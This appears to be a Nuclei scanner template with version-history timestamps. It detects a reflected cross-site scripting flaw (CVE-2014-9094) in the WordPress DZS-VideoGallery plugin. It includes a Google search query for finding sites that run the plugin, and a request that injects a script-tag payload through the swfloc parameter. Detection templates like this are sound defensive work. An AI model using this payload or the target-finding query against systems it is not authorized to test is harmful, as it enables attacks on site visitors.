2021-07-11 01:43:01 +00:00
id : CVE-2014-9094
info :
2022-02-25 22:07:55 +00:00
name : WordPress DZS-VideoGallery Plugin Reflected Cross-Site Scripting
2021-07-11 01:43:01 +00:00
author : daffainfo
severity : medium
2022-04-22 10:38:41 +00:00
description : Multiple cross-site scripting vulnerabilities in deploy/designer/preview.php in the Digital Zoom Studio (DZS) Video Gallery plugin for WordPress allow remote attackers to inject arbitrary web script or HTML via the (1) swfloc or (2) designrand parameter.
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2014-9094
2022-05-17 09:18:12 +00:00
- http://websecurity.com.ua/7152/
- http://seclists.org/fulldisclosure/2014/Jul/65
2022-06-07 20:50:59 +00:00
- http://web.archive.org/web/20210615134835/https://www.securityfocus.com/bid/68525
2022-02-25 22:07:55 +00:00
classification :
cve-id : CVE-2014-9094
2022-07-11 17:26:28 +00:00
metadata :
google-query : inurl:"/wp-content/plugins/dzs-videogallery"
2022-04-22 10:38:41 +00:00
tags : cve,cve2014,wordpress,xss,wp-plugin
2021-07-11 01:43:01 +00:00
requests :
- method : GET
path :
- '{{BaseURL}}/wp-content/plugins/dzs-videogallery/deploy/designer/preview.php?swfloc=%22%3E%3Cscript%3Ealert(1)%3C/script%3E'
matchers-condition : and
matchers :
- type : word
words :
- "<script>alert(1)</script>"
- type : word
part : header
words :
- text/html
- type : status
status :
- 200
2022-02-25 22:07:55 +00:00
2022-02-28 16:05:59 +00:00
# Enhanced by mp on 2022/02/25